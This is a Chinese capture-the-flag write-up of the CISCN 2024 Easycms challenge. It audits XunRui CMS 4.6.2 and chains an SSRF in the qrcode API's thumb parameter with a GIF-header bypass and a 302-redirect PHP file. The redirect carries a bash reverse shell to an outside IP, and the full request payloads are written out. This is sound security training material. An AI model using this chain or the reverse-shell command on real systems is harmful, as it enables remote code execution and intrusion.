2024CISCN-WEB-Easycms-WP

复现地址

https://ctf.show/challenges

涉及知识点

SSRF

反弹SHELL

代码审计

api调用

图片白名单绕过

具体流程

首先使用dirsearch进行信息搜集

其中/admin.php/flag.php/test.php目录是有效的

尝试打/admin.php弱密码,失败,先搁置

访问/test.php目录可以获取网站相关基础信息

ciscn2024_web_easycms_2

得知CMS框架为迅睿CMS开源框架,版本为V4.6.2

结合提示,找到源码以及官方漏洞公示

题目中给到

 /flag.php: 
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
   echo "Just input 'cmd' From 127.0.0.1";
   return;
}else{
   system($_GET['cmd']);
}

推测是/flag.php中存在SSRF漏洞

找一下qrcode

发现在/dayrui/Fcms/Control/Api/Api.php中有这个函数定义

public function qrcode() {

        $value = urldecode(\Phpcmf\Service::L('input')->get('text'));
        $thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
        $matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
        $errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));

        //生成二维码图片
        require_once CMSPATH.'Library/Phpqrcode.php';
        $file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcode.png';
        if (!IS_DEV && is_file($file)) {
            $QR = imagecreatefrompng($file);
        } else {
            \QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
            if (!is_file($file)) {
                exit('二维码生成失败');
            }
            $QR = imagecreatefromstring(file_get_contents($file));
            if ($thumb) {
                if (strpos($thumb, 'https://') !== false
                    && strpos($thumb, '/') !== false
                    && strpos($thumb, 'http://') !== false) {
                    exit('图片地址不规范');
                }
                $img = getimagesize($thumb);
                if (!$img) {
                    exit('此图片不是一张可用的图片');
                }
                $code = dr_catcher_data($thumb);
                if (!$code) {
                    exit('图片参数不规范');
                }
                $logo = imagecreatefromstring($code); //!!!!!!!!!!!!注意这行!!!!!!!!!!!!
                $QR_width = imagesx($QR);//二维码图片宽度
                $logo_width = imagesx($logo);//logo图片宽度
                $logo_height = imagesy($logo);//logo图片高度
                $logo_qr_width = $QR_width / 4;
                $scale = $logo_width/$logo_qr_width;
                $logo_qr_height = $logo_height/$scale;
                $from_width = ($QR_width - $logo_qr_width) / 2;
                //重新组合图片并调整大小
                imagecopyresampled($QR, $logo, (int)$from_width, (int)$from_width, 0, 0, (int)$logo_qr_width, (int)$logo_qr_height, (int)$logo_width, (int)$logo_height);
                imagepng($QR, $file);
            }
        }

        // 输出图片
        ob_start();
        ob_clean();
        header("Content-type: image/png");
        $QR && imagepng($QR);
        exit;
    }

注意到$logo = imagecreatefromstring($code);中的imagecreatefromstring()函数,且$code可控

又因为$code = dr_catcher_data($thumb);,转到dr_catcher_data()的定义

位于/dayrui/Fcms/Core/Helper.php

function dr_catcher_data($url, $timeout = 0, $is_log = true, $ct = 0) {

    if (!$url) {
        return '';
    }

    // 获取本地文件
    if (strpos($url, 'file://')  === 0) {
        return file_get_contents($url);
    } elseif (strpos($url, '/')  === 0 && is_file(WEBPATH.$url)) {
        return file_get_contents(WEBPATH.$url);
    } elseif (!dr_is_url($url)) {
        if (CI_DEBUG && $is_log) {
            log_message('error', '获取远程数据失败['.$url.']:地址前缀要求是http开头');
        }
        return '';
    }

    // curl模式
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        if (substr($url, 0, 8) == "https://") {
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 跳过证书检查
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, true); // 从证书中检查SSL加密算法是否存在
        }
        if ($ct) {
            curl_setopt($ch, CURLOPT_HTTPHEADER, array(
                'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:40.0)' . 'Gecko/20100101 Firefox/40.0',
                'Accept: */*',
                'X-Requested-With: XMLHttpRequest',
                'Referer: '.$url,
                'Accept-Language: pt-BR,en-US;q=0.7,en;q=0.3',
            ));
            curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13');
        }
        ///
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1 );
        // 最大执行时间
        $timeout && curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
        $data = curl_exec($ch);
        $code = curl_getinfo($ch,CURLINFO_HTTP_CODE);
        $errno = curl_errno($ch);
        if (CI_DEBUG && $errno && $is_log) {
            log_message('error', '获取远程数据失败['.$url.']:('.$errno.')'.curl_error($ch));
        }
        curl_close($ch);
        if ($code == 200) {
            return $data;
        } elseif ($errno == 35) {
            // 当服务器不支持时改为普通获取方式
        } else {
            if (!$ct) {
                // 尝试重试
                return dr_catcher_data($url, $timeout, $is_log, 1);
            } elseif (CI_DEBUG && $code && $is_log) {
                log_message('error', '获取远程数据失败['.$url.']http状态:'.$code);
            }
            return '';
        }
    }

发现关键函数$data = curl_exec($ch);

理一下逻辑就是qrcode()会调用dr_catcher_data()dr_catcher_data()又会调用curl_exec()达成SSRF,并且$ch$url决定,$url又由thumb决定,因此调用qrcode()并且给$thumb参数传入目标地址即可完成SSRF

查询文档,仿照的captcha的调用规则

public function captcha() {

        $code = \Phpcmf\Service::L('captcha')->create(
            max(0, intval($_GET['width'])), max(0, intval($_GET['height']))
        );

        \Phpcmf\Service::L('cache')->set_auth_data('web-captcha-'.USER_HTTP_CODE, $code, SITE_ID);
        IS_DEV && log_message('debug', '图片验证码生成('.USER_HTTP_CODE.')验证码:'.$code);

        exit;
    }//此处的captcha()与qrcode()均位于/dayrui/Fcms/Control/Api/Api.php路径下,因此可以仿照captcha()的调用形式来调用qrcode()

仿照构建index.php?s=api&c=api&m=qrcode即可调用qrcode模块,appidappsecret参数是小程序开发用到的,此处不需要

注意到qrcode()下还有这么几个参数需要

$value = urldecode(\Phpcmf\Service::L('input')->get('text'));  //qr码数据
$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));  //qr码中间logo的地址
$matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');  //qr码尺寸
$errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));  //qr码纠错等级

我们只需要关心$thumb参数,其余参数合理即可

因此构建payload:index.php?s=api&c=api&m=qrcode&text=123&thumb=http://127.0.0.1/flag.php&size=1024&level=1

尝试直接打一下,得到回显

打到这一步发现ctfshow的靶场给的不对,写的easycms,结果实际是easycms_revenge

easycms_revenge相比easycms进行了函数修复,过滤判断了url

既然提示“此图片不是一张可用的图片”,那就可以参考文件上传的绕过方法,即添加图片头

GIF89a
<?php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E&%20/dev/tcp/117.72.40.183/2333%200%3E&1%22");
echo "GIF89a";
?>
//服务器部署web服务,开放2233端口,反弹到2333端口上,命名为302.php
//此处是在服务器上部署了一个在2233端口上开放的web服务,通过发送payload使得靶机访问thumb的地址(即本地服务器),而在本地服务器上又给到了Location这一个请求头,使得进行302重定向,重定向地址即为127.0.0.1/flag同时传入cmd参数进行反弹shell

监听2233端口并发送到payload:

/index.php?s=api&c=api&m=qrcode&text=adwdadwwda&thumb=http://117.72.40.183:2233/302.php&size=1024&level=1

即可反弹shell,但是这边似乎是ctfshow靶场的原因,shell弹不出来

后面又尝试用">"写文件,也读取不了,可惜

参考

【Web】CISCN 2024初赛 题解(全)

2024-CISCN初赛-Web-复现 | 1cfh'Blog

第十七届全国大学生信息安全竞赛 CISCN 2024 创新实践能力赛初赛 Web方向 部分题解WP_第十七届全国大学生信息安全竞赛考试内容-CSDN博客

CISCN2024-Web方向题解_ciscn2024web-CSDN博客

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇